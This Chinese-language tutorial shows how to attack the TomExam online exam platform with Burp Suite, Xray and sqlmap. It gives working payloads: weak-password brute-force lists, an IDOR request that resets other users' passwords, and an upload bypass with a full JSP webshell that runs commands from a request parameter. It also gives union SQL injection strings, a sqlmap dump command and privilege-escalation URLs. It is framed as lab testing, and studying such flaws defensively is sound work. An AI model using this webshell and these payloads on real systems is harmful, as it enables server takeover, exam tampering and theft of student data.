实战演练:如何用Burp Suite和Xray快速挖掘TomExam考试系统的5个高危漏洞
教育行业的数字化转型正在加速推进,在线考试系统作为核心教学工具,其安全性直接关系到考试公平性和学生隐私保护。TomExam作为国内广泛使用的网络考试平台,其漏洞可能被恶意利用导致严重后果。本文将手把手演示如何通过Burp Suite与Xray的黄金组合,系统性地挖掘这类系统中的高危漏洞。
1. 环境搭建与工具配置
在开始实战之前,需要准备一个与生产环境高度相似的测试靶场。推荐使用JSPStudy集成环境快速部署TomExam系统,该环境已预置MySQL数据库和Tomcat中间件,能模拟真实运行条件。
关键配置步骤:
- 下载JSPStudy 2016版本并解压至D盘根目录
- 将TomExam的WAR包放置于
/tomcat/webapps目录 - 修改
/mysql/data目录权限为可读写 - 启动控制面板中的Apache和MySQL服务
工具链方面,需要特别关注代理工具的联动配置。以下是Burp Suite与Xray协同工作的典型配置:
# Xray config.yaml 关键配置片段 reverse: db_server: enabled: true listen: 127.0.0.1:5000 basic_auth: username: "admin" password: "xray@123"启动顺序对工具协同至关重要:先启动Xray监听端口,再配置Burp的上游代理。这种架构可以实现请求的自动转发和漏洞的实时检测。
2. 认证体系漏洞挖掘
登录模块往往是系统安全的第一道防线,也是攻击者首要突破点。我们对TomExam的认证流程进行深度测试时,发现了三个典型漏洞链。
弱口令爆破实战:
- 拦截登录请求,观察认证参数传递方式
- 使用Burp的Intruder模块加载常见教育行业弱口令字典
- 设置攻击类型为"Cluster bomb",分别对用户名和密码字段进行组合爆破
- 通过响应长度和状态码差异识别成功组合
测试中发现系统存在验证码复用漏洞,同一会话中验证码可重复使用。配合以下字典组合,5分钟内即可破解管理员账户:
| 用户名类型 | 示例字典 |
|---|---|
| 默认管理员 | admin, administrator, sysadmin |
| 常见弱口令 | 123456, admin123, tomexam@2023 |
更严重的是,修改密码接口存在水平越权。通过Burp重放测试,普通用户仅修改请求中的userID参数就能重置他人密码:
POST /tomexam/user/changePwd HTTP/1.1 Host: 10.0.0.101:8080 ... {"oldPwd":"123456","newPwd":"Hack@2024","userID":"10086"}3. 文件上传漏洞利用
考试系统通常需要支持多种格式的附件上传,这往往成为系统沦陷的突破口。TomExam的文件上传模块存在经典的三重安全缺陷:
- 前端校验可绕过:删除HTTP请求中的Content-Type字段
- 黑名单不全:未过滤.jspx、.jspf等变种后缀
- 路径可预测:上传目录采用
年/月/日结构且文件名包含时间戳
分步攻击过程:
- 使用Burp拦截合法的图片上传请求
- 修改文件名后缀为
.jsp并插入Webshell代码 - 通过Intruder模块爆破文件路径中的时间戳部分
- 最终获取可执行权限的shell访问路径
上传成功后,攻击者可以通过以下方式维持访问:
<% if("123".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %>4. SQL注入漏洞深度利用
在新闻公告模块,Xray检测到classid参数存在注入点。通过手工验证,确认这是一个典型的Union型注入漏洞。
手工验证步骤:
- 测试基础注入:
classid=2 and 1=1vsclassid=2 and 1=2 - 确定字段数:通过
order by递增测试 - 获取数据库信息:
union select 1,version(),3,4,5,6,7,8 - 提取表结构:
union select 1,table_name,3,4,5,6,7,8 from information_schema.tables
使用Burp的Repeater模块可以方便地构造和测试各种Payload。更高效的方式是将请求导出到SQLMap进行自动化利用:
sqlmap -r request.txt --batch --dbms=mysql --technique=U --tables测试结果显示系统存在17个用户表,其中包含敏感的考生信息、试卷内容和成绩数据。这种漏洞可能导致大规模数据泄露,完全违背了教育数据保护的基本要求。
5. 权限体系漏洞链分析
教育系统的多角色特性使得权限管理尤为复杂。TomExam在权限控制方面存在设计缺陷,形成了完整的垂直越权漏洞链。
典型越权场景:
- URL直接访问:普通用户通过修改URL中的
/student/为/admin/访问管理功能 - 参数篡改:修改请求中的roleType参数提升权限等级
- 功能滥用:学生账户调用只对教师开放的API接口
通过Burp的"Compare Site maps"功能,可以系统性地对比不同权限账户的访问范围差异。以下是一个实际的越权请求示例:
GET /tomexam/admin/paperList?examId=20240521 HTTP/1.1 Host: 10.0.0.101:8080 Cookie: JSESSIONID=STUDENT_SESSION_123这种漏洞可能被恶意学生用来提前获取试卷内容或修改考试成绩,严重破坏考试公平性。